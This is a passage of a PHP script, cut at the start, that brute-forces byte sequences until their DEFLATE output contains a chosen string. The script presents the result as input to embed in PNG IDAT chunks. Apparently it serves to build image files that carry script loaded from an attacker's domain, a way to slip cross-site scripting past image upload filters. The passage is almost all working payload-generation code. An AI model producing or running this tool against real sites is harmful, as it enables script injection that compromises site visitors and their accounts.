'; print "Input string to embed in PNG IDAT chunks:\n"; print '"' . $precode . $domain . $postcode . "\"\n\n\n"; $cnt = 0; for( $i = 0x111111111111; $i < 0xffffffffffff; $i++, $cnt++) { $b = implode('', str_split(str_pad(dechex($i), 12, '0', STR_PAD_LEFT), 2)); try { $defl = gzdeflate(hex2bin($prefix . $b . $suffix )); if ( $cnt % 100000 == 0) { printf("[Probe: %06d] %s\r\n", $cnt, $defl); } if (strpos(strtoupper($defl), $precode.$domain.$postcode) !== false ) { $cont = bin2hex($defl); printf("DEFLATE stream found!\n%s\n%s\n\n", $prefix.$b.$suffix, $defl); file_put_contents($filename, $cont); } } catch( exception $e) { } } print 'Done.' ?>